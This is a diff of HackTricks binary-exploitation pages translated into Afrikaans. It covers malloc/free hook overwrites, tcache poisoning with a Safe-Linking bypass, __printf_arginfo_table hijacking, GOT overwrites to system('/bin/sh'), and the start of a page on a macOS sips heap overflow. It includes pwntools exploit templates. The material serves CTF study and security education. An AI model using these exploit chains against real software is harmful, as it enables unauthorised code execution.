-> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
-> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+> - Kyk na die [**intekeningplanne**](https://github.com/sponsors/carlospolop)!
+> - **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f), die [**telegram-groep**](https://t.me/peass), **volg** [**@hacktricks_live**](https://twitter.com/hacktricks_live) op **X/Twitter**, of kyk na die [**LinkedIn-bladsy**](https://www.linkedin.com/company/hacktricks/) en [**YouTube-kanaal**](https://www.youtube.com/@hacktricks_LIVE).
+> - **Deel hacking-truuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks)- en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)-github-repos.
>
>
diff --git a/src/binary-exploitation/arbitrary-write-2-exec/README.md b/src/binary-exploitation/arbitrary-write-2-exec/README.md
index 117d2440a82..17d10ce8c34 100644
--- a/src/binary-exploitation/arbitrary-write-2-exec/README.md
+++ b/src/binary-exploitation/arbitrary-write-2-exec/README.md
@@ -1,3 +1,12 @@
-# Arbitrary Write 2 Exec
+# Arbitrary Write to Code Execution
+{{#include ../../banners/hacktricks-training.md}}
+'n write-what-where primitive laat 'n aanvaller toe om 'n gekose waarde by 'n gekose geheueadres te plaas. Om daardie primitive in code execution om te skakel, beteken gewoonlik dat data wat die proses later vir control flow sal gebruik, oorskryf word, soos 'n function pointer, 'n exit handler of 'n writable relocation entry. Die beskikbare target hang af van die binary se architecture, geaktiveerde mitigations, linked libraries en die punt waarop die write plaasvind.[[1]](#references)
+
+Voordat jy 'n technique kies, bepaal die write se grootte en herhaalbaarheid, identifiseer writable addresses en bevestig watter kandidaat-target ná die overwrite gedereference sal word. Die bladsye in hierdie afdeling dek algemene targets, insluitend die GOT/PLT, `.fini_array`, `atexit()` handlers, historiese glibc hooks en application-specific callbacks.
+
+## References
+
+- [1] [MITRE CWE-123: Write-what-where-toestand](https://cwe.mitre.org/data/definitions/123.html)
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md
index 7bd874ca8eb..4d40072d6e3 100644
--- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md
+++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md
@@ -1,72 +1,140 @@
-# WWW2Exec - \_\_malloc_hook & \_\_free_hook
+# WWW2Exec - __malloc_hook & __free_hook
{{#include ../../banners/hacktricks-training.md}}
## **Malloc Hook**
-As you can [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), the variable **`__malloc_hook`** is a pointer pointing to the **address of a function that will be called** whenever `malloc()` is called **stored in the data section of the libc library**. Therefore, if this address is overwritten with a **One Gadget** for example and `malloc` is called, the **One Gadget will be called**.
+Soos jy op die [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html) kan sien, is die veranderlike **`__malloc_hook`** ’n pointer wat na die **adres van ’n funksie wys wat geroep sal word** wanneer `malloc()` geroep word. Dit word **in die data-afdeling van die libc-biblioteek gestoor**. As hierdie adres dus byvoorbeeld met ’n **One Gadget** oorskryf word en `malloc` geroep word, sal die **One Gadget geroep word**.[[1]](#references)
-To call malloc it's possible to wait for the program to call it or by **calling `printf("%10000$c")`** which allocates too bytes many making `libc` calling malloc to allocate them in the heap.
+Om malloc te roep, kan jy wag dat die program dit roep, of **`printf("%10000$c")` roep**, wat te veel bytes allokeer en veroorsaak dat `libc` malloc roep om hulle op die heap te allokeer.[[2]](#references)
+
+Meer inligting oor One Gadget in:
-More info about One Gadget in:
{{#ref}}
../rop-return-oriented-programing/ret2lib/one-gadget.md
{{#endref}}
> [!WARNING]
-> Note that hooks are **disabled for GLIBC >= 2.34**. There are other techniques that can be used on modern GLIBC versions. See: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
+> Let daarop dat hooks **gedeaktiveer is vir GLIBC >= 2.34**. Daar is ander tegnieke wat op moderne GLIBC-weergawes gebruik kan word. Sien: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).[[3]](#references)
## Free Hook
-This was abused in one of the example from the page abusing a fast bin attack after having abused an unsorted bin attack:
+Dit is misbruik in een van die voorbeelde op die bladsy, waar ’n fast bin attack misbruik is nadat ’n unsorted bin attack misbruik is:
+
{{#ref}}
../libc-heap/unsorted-bin-attack.md
{{#endref}}
-It's posisble to find the address of `__free_hook` if the binary has symbols with the following command:
-
+Dit is moontlik om die adres van `__free_hook` te vind as die binary simbole bevat, met die volgende command:
```bash
gef➤ p &__free_hook
```
-
-[In the post](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) you can find a step by step guide on how to locate the address of the free hook without symbols. As summary, in the free function:
+[In die plasing](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) kan jy ’n stap-vir-stap-gids vind oor hoe om die adres van die free hook sonder symbols op te spoor.[[4]](#references) As opsomming, in die free-funksie:
gef➤ x/20i free
-0xf75dedc0 <free>: push ebx
-0xf75dedc1 <free+1>: call 0xf768f625
-0xf75dedc6 <free+6>: add ebx,0x14323a
-0xf75dedcc <free+12>: sub esp,0x8
-0xf75dedcf <free+15>: mov eax,DWORD PTR [ebx-0x98]
-0xf75dedd5 <free+21>: mov ecx,DWORD PTR [esp+0x10]
-0xf75dedd9 <free+25>: mov eax,DWORD PTR [eax]--- BREAK HERE
- 0xf75deddb <free+27>: test eax,eax ;<
-0xf75deddd <free+29>: jne 0xf75dee50 <free+144>
+0xf75dedc0 : push ebx
+0xf75dedc1 : call 0xf768f625
+0xf75dedc6 : add ebx,0x14323a
+0xf75dedcc : sub esp,0x8
+0xf75dedcf : mov eax,DWORD PTR [ebx-0x98]
+0xf75dedd5 : mov ecx,DWORD PTR [esp+0x10]
+0xf75dedd9 : mov eax,DWORD PTR [eax]--- BREAK HERE
+ 0xf75deddb : test eax,eax ;<
+0xf75deddd : jne 0xf75dee50
-In the mentioned break in the previous code in `$eax` will be located the address of the free hook.
-
-Now a **fast bin attack** is performed:
-
-- First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location:
-- gef➤ p &__free_hook
- $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
- gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
- 0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
- 0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
- 0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
- 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
-
- - If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed
-- For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin.
-- Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function.
-- Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function.
-- And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter.
+By die genoemde breekpunt in die vorige kode sal die adres van die free hook in `$eax` geleë wees.
-## References
+Nou word ’n **fast bin attack** uitgevoer:
-- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
-- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
+- Eerstens word ontdek dat dit moontlik is om met fast **chunks van grootte 200** in die **`__free_hook`**-ligging te werk:
+- gef➤ p &__free_hook
+$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
+gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
+0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
+ 0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
+0x7ff1e9e6076f : 0x0000000000000000 0x0000000000000000
+0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
+
+- Indien ons daarin slaag om ’n fast chunk van grootte 0x200 op hierdie ligging te kry, sal dit moontlik wees om ’n function pointer te oorskryf wat uitgevoer sal word.
+- Hiervoor word ’n nuwe chunk van grootte `0xfc` geskep en die merge-funksie word twee keer met daardie pointer geroep. Op hierdie manier verkry ons ’n pointer na ’n freed chunk van grootte `0xfc*2 = 0x1f8` in die fast bin.
+- Vervolgens word die edit-funksie op hierdie chunk geroep om die **`fd`**-adres van hierdie fast bin te wysig sodat dit na die vorige **`__free_hook`**-funksie wys.
+- Daarna word ’n chunk met grootte `0x1f8` geskep om die vorige nuttelose chunk uit die fast bin te haal. Dan word nog ’n chunk van grootte `0x1f8` geskep om ’n fast bin chunk in die **`__free_hook`** te kry, wat met die adres van die **`system`**-funksie oorskryf word.
+- Laastens word ’n chunk wat die string `/bin/sh\x00` bevat, freed deur die delete-funksie te roep. Dit aktiveer die **`__free_hook`**-funksie, wat na system wys, met `/bin/sh\x00` as parameter.
+
+---
+
+## Tcache poisoning & Safe-Linking (glibc 2.32 – 2.33)
+
+glibc 2.32 het **Safe-Linking** bekendgestel – ’n integrity-check wat die *single*-linked lists beskerm wat deur **tcache** en fast-bins gebruik word. In plaas daarvan om ’n raw forward pointer (`fd`) te stoor, stoor ptmalloc dit nou *obfuscated* met die volgende macro:[[5]](#references)
+```c
+#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
+#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
+```
+Gevolge vir exploitation:
+
+1. ’n **heap leak** is verpligtend – die aanvaller moet die runtime-waarde van `chunk_addr >> 12` ken om ’n geldige obfuscated pointer te skep.
+2. Slegs die *volledige* 8-byte pointer kan vervals word; single-byte partial overwrites sal nie die check slaag nie.
+
+’n Minimale tcache-poisoning primitive wat `__free_hook` op glibc 2.32/2.33 oorskryf, lyk dus soos:
+```py
+from pwn import *
+
+libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
+p = process("./vuln")
+
+# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
+heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
+heap_base = heap_leak & ~0xfff
+fd_key = heap_base >> 12 # value used by PROTECT_PTR
+log.success(f"heap @ {hex(heap_base)}")
+
+# 2. Prepare two same-size chunks and double-free one of them
+a = malloc(0x48)
+b = malloc(0x48)
+free(a)
+free(b)
+free(a) # tcache double-free ⇒ poisoning primitive
+
+# 3. Forge obfuscated fd that points to __free_hook
+free_hook = libc.sym['__free_hook']
+poison = free_hook ^ fd_key
+edit(a, p64(poison)) # overwrite fd of tcache entry
+
+# 4. Two mallocs: the second one returns a pointer to __free_hook
+malloc(0x48) # returns chunk a
+c = malloc(0x48) # returns chunk @ __free_hook
+edit(c, p64(libc.sym['system']))
+
+# 5. Trigger
+bin_sh = malloc(0x48)
+edit(bin_sh, b"/bin/sh\x00")
+free(bin_sh)
+```
+Die snippet hierbo volg dieselfde tcache-poisoning-patroon wat gebruik word om 'n allocation na **`__free_hook`** te herlei en dit met `system` te overwrite, soos gedemonstreer deur CTF challenges soos *UIUCTF 2024 – «Rusty Pointers»* en *openECSC 2023 – «Babyheap G»*. Kontroleer die target se glibc-weergawe voordat jy dit hergebruik: *Rusty Pointers* het glibc 2.31 sonder Safe-Linking gebruik, terwyl latere targets die pointer-mangling bypass hierbo beskryf, kan vereis.[[6]](#references) [[7]](#references)
+
+---
+
+## Wat het in glibc ≥ 2.34 verander?
+
+Vanaf **glibc 2.34 (Augustus 2021)** is die allocation hooks `__malloc_hook`, `__realloc_hook`, `__memalign_hook` en `__free_hook` **uit die public API verwyder en word hulle nie meer deur die allocator invoked nie**. Compatibility symbols word steeds vir legacy binaries exported, maar om hulle te overwrite beïnvloed nie meer die control-flow van `malloc()` of `free()` nie.[[8]](#references)
+
+Praktiese implikasie: op moderne distributions (Ubuntu 22.04+, Fedora 35+, Debian 12, ens.) moet jy na *ander* hijack primitives pivot (IO-FILE, `__run_exit_handlers`, vtable spraying, ens.), omdat hook overwrites stilweg sal fail.
+
+As jy steeds die ou behaviour vir debugging nodig het, ship glibc `libc_malloc_debug.so`, wat pre-loaded kan word om die legacy hooks te re-enable – maar die library is **nie vir production bedoel nie en kan in toekomstige releases verdwyn**.
+
+---
+
+## References
+- [1] [Hooks for Malloc - Die GNU C Library-handleiding](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html)
+- [2] [One Gadgets and Malloc Hook - ir0nstone se notas](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
+- [3] [nobodyisnobody/docs - Code execution on the last libc versions](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md)
+- [4] [House of Force - bkp16 cookbook (guyinatuxedo)](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html)
+- [5] [Safe-Linking – Eliminating a 20 year-old malloc() exploit primitive (Check Point Research, 2020)](https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/)
+- [6] [UIUCTF 2024 - Rusty Pointers writeup](https://www.surg.dev/blog/uiuctf2024/)
+- [7] [openECSC 2023 - Babyheap G writeup](https://havce.it/writeups/openecsc-baby-heap/)
+- [8] [The GNU C Library version 2.34 is now available - malloc hooks removal announcement](https://sourceware.org/pipermail/libc-alpha/2021-August/129718.html)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__printf_arginfo_table.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__printf_arginfo_table.md
new file mode 100644
index 00000000000..08293370fac
--- /dev/null
+++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__printf_arginfo_table.md
@@ -0,0 +1,79 @@
+# WWW2Exec - __printf_arginfo_table
+
+{{#include ../../banners/hacktricks-training.md}}
+
+Glibc laat gebruikers toe om pasgemaakte conversion specifiers (soos `%s`, `%d`) vir `printf` te registreer.[[1]](#references)
+
+### Voorvereistes
+
+- Arbitrary write primitive in Glibc-data.
+- Vermoë om ’n `printf`-pad ná die overwrite te trigger.
+- Glibc base leak om `__printf_function_table` / `__printf_arginfo_table` op te los.
+
+### Hoe dit Werk
+
+In die glibc-bou wat deur die bron gedokumenteer word, kontroleer `printf` `__printf_function_table`; wanneer dit nie-NULL is, raadpleeg parsing `__printf_arginfo_table` vir die huidige specifier. Dit is interne simbole, nie ’n stabiele glibc ABI nie: hul teenwoordigheid, sigbaarheid, relatiewe plasing en skryfbare toestand moet teenoor die presiese teiken-libc geverifieer word.[[1]](#references)
+1. Oorskryf `__printf_function_table` met ’n nie-nulwaarde (byvoorbeeld 1).
+2. Forge ’n table by die adres waarna `__printf_arginfo_table` wys.
+3. Plaas in daardie table, by indeks `ord('s')` (`0x73`), die adres van jou gadget of `system`.
+```c
+size_t
+attribute_hidden
+__parse_one_specmb (const UCHAR_T *format, size_t posn,
+struct printf_spec *spec, size_t *max_ref_arg,
+bool *failed)
+{
+// ...
+
+/* Get the format specification. */
+spec->info.spec = (wchar_t) *format++;
+spec->size = -1;
+if (__builtin_expect (__printf_function_table == NULL, 1)
+|| spec->info.spec > UCHAR_MAX
+|| __printf_arginfo_table[spec->info.spec] == NULL
+/* We don't try to get the types for all arguments if the format
+uses more than one. The normal case is covered though. If
+the call returns -1 we continue with the normal specifiers. */
+|| (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
+(&spec->info, 1, &spec->data_arg_type,
+&spec->size)) < 0)
+{
+// ...
+}
+
+// ...
+}
+```
+Vir hierdie target build moet `__printf_arginfo_table` nie-NULL wees sodat die oproep hieronder bereik word:
+```c
+(*__printf_arginfo_table[spec->info.spec])(&spec->info, 1, &spec->data_arg_type, &spec->size)
+```
+### Uitbuiting
+
+Stel `__printf_arginfo_table[spec->info.spec]` op die funksie of gadget wat geroep moet word. `spec->info.spec` is die format-specifier-karakter (`0x73` vir `%s`), dus gebruik die `%s`-pad tabelindeks `0x73` in die gedokumenteerde build. Die callback ontvang arginfo-function-argumente, wat ’n one-gadget constraint check noodsaaklik maak; `system` is nie outomaties versoenbaar bloot omdat sy adres geroep kan word nie.[[1]](#references)
+
+’n Voorbeeld-payload kan wees:
+```py
+from pwn import *
+
+context.binary = ...
+
+def arb_write(addr, val):
+pass
+
+one_gadget = ...
+__printf_function_table_addr = ...
+__printf_arginfo_table_addr = __printf_function_table_addr + 8
+
+fake___printf_arginfo_table_addr = ...
+
+arb_write(fake___printf_arginfo_table_addr + ord('s') * 8, one_gadget)
+arb_write(__printf_arginfo_table_addr, fake___printf_arginfo_table_addr)
+arb_write(__printf_function_table_addr, 1)
+```
+---
+
+## References
+
+- [1] [nobodyisnobody/docs - Kode-uitvoering op die jongste libc-weergawes](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md)
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md
index ad09ee48e87..d7e598fe8b5 100644
--- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md
+++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md
@@ -2,80 +2,84 @@
{{#include ../../banners/hacktricks-training.md}}
-## **Basic Information**
+## **Basiese Inligting**
### **GOT: Global Offset Table**
-The **Global Offset Table (GOT)** is a mechanism used in dynamically linked binaries to manage the **addresses of external functions**. Since these **addresses are not known until runtime** (due to dynamic linking), the GOT provides a way to **dynamically update the addresses of these external symbols** once they are resolved.
+Die **Global Offset Table (GOT)** is 'n meganisme wat in dinamies-gelinkte binaries gebruik word om die **adresse van eksterne funksies** te bestuur. Aangesien hierdie **adresse eers tydens runtime bekend is** (weens dinamiese linking), bied die GOT 'n manier om die **adresse van hierdie eksterne simbole dinamies by te werk** sodra hulle opgelos is.
-Each entry in the GOT corresponds to a symbol in the external libraries that the binary may call. When a **function is first called, its actual address is resolved by the dynamic linker and stored in the GOT**. Subsequent calls to the same function use the address stored in the GOT, thus avoiding the overhead of resolving the address again.
+Elke inskrywing in die GOT stem ooreen met 'n simbool in die eksterne libraries wat die binary moontlik kan oproep. Wanneer 'n **funksie vir die eerste keer opgeroep word, word sy werklike adres deur die dynamic linker opgelos en in die GOT gestoor**. Daaropvolgende oproepe na dieselfde funksie gebruik die adres wat in die GOT gestoor is, en vermy dus die overhead om die adres weer op te los.
### **PLT: Procedure Linkage Table**
-The **Procedure Linkage Table (PLT)** works closely with the GOT and serves as a trampoline to handle calls to external functions. When a binary **calls an external function for the first time, control is passed to an entry in the PLT associated with that function**. This PLT entry is responsible for invoking the dynamic linker to resolve the function's address if it has not already been resolved. After the address is resolved, it is stored in the **GOT**.
+Die **Procedure Linkage Table (PLT)** werk nou saam met die GOT en dien as 'n trampoline om oproepe na eksterne funksies te hanteer. Wanneer 'n binary **vir die eerste keer 'n eksterne funksie oproep, word beheer oorgedra na 'n inskrywing in die PLT wat met daardie funksie geassosieer word**. Hierdie PLT-inskrywing is verantwoordelik daarvoor om die dynamic linker op te roep om die funksie se adres op te los indien dit nog nie opgelos is nie. Nadat die adres opgelos is, word dit in die **GOT** gestoor.
-**Therefore,** GOT entries are used directly once the address of an external function or variable is resolved. **PLT entries are used to facilitate the initial resolution** of these addresses via the dynamic linker.
+**Dus** word GOT-inskrywings direk gebruik sodra die adres van 'n eksterne funksie of veranderlike opgelos is. **PLT-inskrywings word gebruik om die aanvanklike resolusie** van hierdie adresse via die dynamic linker te fasiliteer.
-## Get Execution
+## Kry Uitvoering
-### Check the GOT
+### Gaan die GOT na
-Get the address to the GOT table with: **`objdump -s -j .got ./exec`**
+Gebruik `readelf -SW ./exec | grep -E '\.got(\.plt)?'` of `objdump -h ./exec` om die GOT-seksies te lokaliseer. `objdump -s -j .got ./exec` dump die huidige lêerinhoud van `.got`; dit is nuttig nadat die seksie gelokaliseer is, maar lys nie simboliese relocations nie. Gebruik `readelf -rW ./exec` of `objdump -R ./exec` daarvoor.
-.png>)
+.png>)
-Observe how after **loading** the **executable** in GEF you can **see** the **functions** that are in the **GOT**: `gef➤ x/20x 0xADDR_GOT`
+Let op hoe jy, nadat jy die **executable** in GEF **gelaai** het, die **funksies** wat in die **GOT** is, kan **sien**: `gef➤ x/20x 0xADDR_GOT`
- (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
+ (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
-Using GEF you can **start** a **debugging** session and execute **`got`** to see the got table:
+Met GEF kan jy 'n **debugging**-sessie **begin** en **`got`** uitvoer om die got-tabel te sien:
-.png>)
+.png>)
### GOT2Exec
-In a binary the GOT has the **addresses to the functions or** to the **PLT** section that will load the function address. The goal of this arbitrary write is to **override a GOT entry** of a function that is going to be executed later **with** the **address** of the PLT of the **`system`** **function** for example.
+In 'n binary bevat die GOT die **adresse van die funksies of** van die **PLT**-seksie wat die funksieadres sal laai. Die doel van hierdie arbitrary write is om 'n **GOT-inskrywing** van 'n funksie wat later uitgevoer gaan word, te **oorskryf met** die **adres** van die PLT van die **`system`**-**funksie**, byvoorbeeld.[[1]](#references)
-Ideally, you will **override** the **GOT** of a **function** that is **going to be called with parameters controlled by you** (so you will be able to control the parameters sent to the system function).
+Ideaal gesproke sal jy die **GOT** van 'n **funksie** wat **met parameters opgeroep gaan word wat deur jou beheer word**, **oorskryf** (sodat jy die parameters wat na die system-funksie gestuur word, sal kan beheer).
-If **`system`** **isn't used** by the binary, the system function **won't** have an entry in the PLT. In this scenario, you will **need to leak first the address** of the `system` function and then overwrite the GOT to point to this address.
+As **`system`** nie deur die binary gebruik word nie, sal die system-funksie **nie** 'n inskrywing in die PLT hê nie. In hierdie scenario sal jy **eers die adres van die** `system`-funksie moet **leak** en dan die GOT oorskryf sodat dit na hierdie adres wys.
-You can see the PLT addresses with **`objdump -j .plt -d ./vuln_binary`**
+Jy kan die PLT-adresse sien met **`objdump -j .plt -d ./vuln_binary`**
-## libc GOT entries
+## libc GOT-inskrywings
-The **GOT of libc** is usually compiled with **partial RELRO**, making it a nice target for this supposing it's possible to figure out its address ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
+Sommige libc-builds stel skryfbare relocation-teikens bloot, maar dit is nie gewaarborg nie: libc-build flags, RELRO, sigbaarheid van simbole en weergawe speel almal 'n rol. Inspekteer die presies-gelaaide libc en bepaal sy ASLR-basis voordat jy 'n teiken kies.
-Common functions of the libc are going to call **other internal functions** whose GOT could be overwritten in order to get code execution.
+Algemene funksies van libc gaan **ander interne funksies** oproep waarvan die GOT oorskryf kan word om code execution te verkry.
-Find [**more information about this technique here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
+Die verwysde modern-libc-notas dokumenteer konkrete libc GOT-teikens en weergawe-spesifieke call paths.[[3]](#references)
### **Free2system**
-In heap exploitation CTFs it's common to be able to control the content of chunks and at some point even overwrite the GOT table. A simple trick to get RCE if one gadgets aren't available is to overwrite the `free` GOT address to point to `system` and to write inside a chunk `"/bin/sh"`. This way when this chunk is freed, it'll execute `system("/bin/sh")`.
+In heap exploitation CTFs is dit algemeen om die inhoud van chunks te kan beheer en op 'n sekere punt selfs die GOT-tabel te kan oorskryf. 'n Eenvoudige truuk om RCE te verkry indien one gadgets nie beskikbaar is nie, is om die `free` GOT-adres te oorskryf sodat dit na `system` wys, en om `"/bin/sh"` binne 'n chunk te skryf. Op hierdie manier sal dit `system("/bin/sh")` uitvoer wanneer hierdie chunk gefree word.
### **Strlen2system**
-Another common technique is to overwrite the **`strlen`** GOT address to point to **`system`**, so if this function is called with user input it's posisble to pass the string `"/bin/sh"` and get a shell.
+Nog 'n algemene tegniek is om 'n skryfbare **`strlen`** GOT-inskrywing met **`system`** te oorskryf. As die program later daardie inskrywing met beheerde invoer oproep, kan die deurgee van `"/bin/sh"` 'n shell begin.
-Moreover, if `puts` is used with user input, it's possible to overwrite the `strlen` GOT address to point to `system` and pass the string `"/bin/sh"` to get a shell because **`puts` will call `strlen` with the user input**.
+In sommige spesifieke libc-builds bereik 'n interne `puts`-path `strlen`; deur daardie libc-relocation te oorskryf, kan `puts(user_input)` dan in `system(user_input)` verander. Hierdie call relationship is weergawe-/build-spesifiek, dus moet jy dit dinamies of in die target se disassembly bevestig voordat jy op die chain staatmaak.[[3]](#references)
## **One Gadget**
+
{{#ref}}
../rop-return-oriented-programing/ret2lib/one-gadget.md
{{#endref}}
-## **Abusing GOT from Heap**
+One-gadget constraints moet by die oorgeskrewe call site geld; die verwysde notas wys hoe om dit te evalueer.[[2]](#references)
+
+## **Misbruik van GOT vanaf Heap**
-A common way to obtain RCE from a heap vulnerability is to abuse a fastbin so it's possible to add the part of the GOT table into the fast bin, so whenever that chunk is allocated it'll be possible to **overwrite the pointer of a function, usually `free`**.\
-Then, pointing `free` to `system` and freeing a chunk where was written `/bin/sh\x00` will execute a shell.
+'n Algemene manier om RCE uit 'n heap vulnerability te verkry, is om 'n fastbin te misbruik sodat dit moontlik is om die deel van die GOT-tabel by die fast bin te voeg. Wanneer daardie chunk dus geallokeer word, sal dit moontlik wees om **die pointer van 'n funksie, gewoonlik `free`, te oorskryf**.\
+Deur dan `free` na `system` te laat wys en 'n chunk waarin `/bin/sh\x00` geskryf is te free, sal 'n shell uitgevoer word.
-It's possible to find an [**example here**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.**
+Die HITCON training `lab13` writeup verskaf 'n volledige voorbeeld.[[4]](#references)
## **Protections**
-The **Full RELRO** protection is meant to protect agains this kind of technique by resolving all the addresses of the functions when the binary is started and making the **GOT table read only** after it:
+Die **Full RELRO**-protection is bedoel om teen hierdie soort tegniek te beskerm deur al die adresse van die funksies te resolve wanneer die binary gestart word en die **GOT-tabel read-only** te maak:
+
{{#ref}}
../common-binary-protections-and-bypasses/relro.md
@@ -83,7 +87,8 @@ The **Full RELRO** protection is meant to protect agains this kind of technique
## References
-- [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
-- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
-
+- [1] [Exploiting a GOT overwrite - ir0nstone se Notes](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
+- [2] [One Gadgets and Malloc Hook - ir0nstone se Notes](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
+- [3] [nobodyisnobody/docs - Code execution on last libc: Teiken van libc GOT-inskrywings](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)
+- [4] [CTF Wiki - chunk_extend_overlapping (HITCON Training lab13)](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md
new file mode 100644
index 00000000000..fd37ce4bb49
--- /dev/null
+++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md
@@ -0,0 +1,113 @@
+# AW2Exec - `sips` ICC Profile Out-of-Bounds Write (CVE-2024-44236)
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Oorsig
+
+'n Out-of-bounds write in Apple macOS **Scriptable Image Processing System** (`sips`) is ontleed in `sips-307` vanaf macOS 15.0.1. Die fout raak die validering van die `offsetToCLUT`-veld in `lutAToBType` (`mAB `) en `lutBToAType` (`mBA `) ICC-tagdata. As `offsetToCLUT` gelyk is aan die grootte van die tagdata, kan die kwesbare lus nie-nulgrepe lees en voorwaardelik met nulgreep vervang vir tot **16 grepe verby die heap-toewysing**. ZDI beoordeel CVE-2024-44236 met 7.8 en beskryf kode-uitvoering in die huidige proses as die ergste moontlike impak.[[1]](#references)[[2]](#references)
+
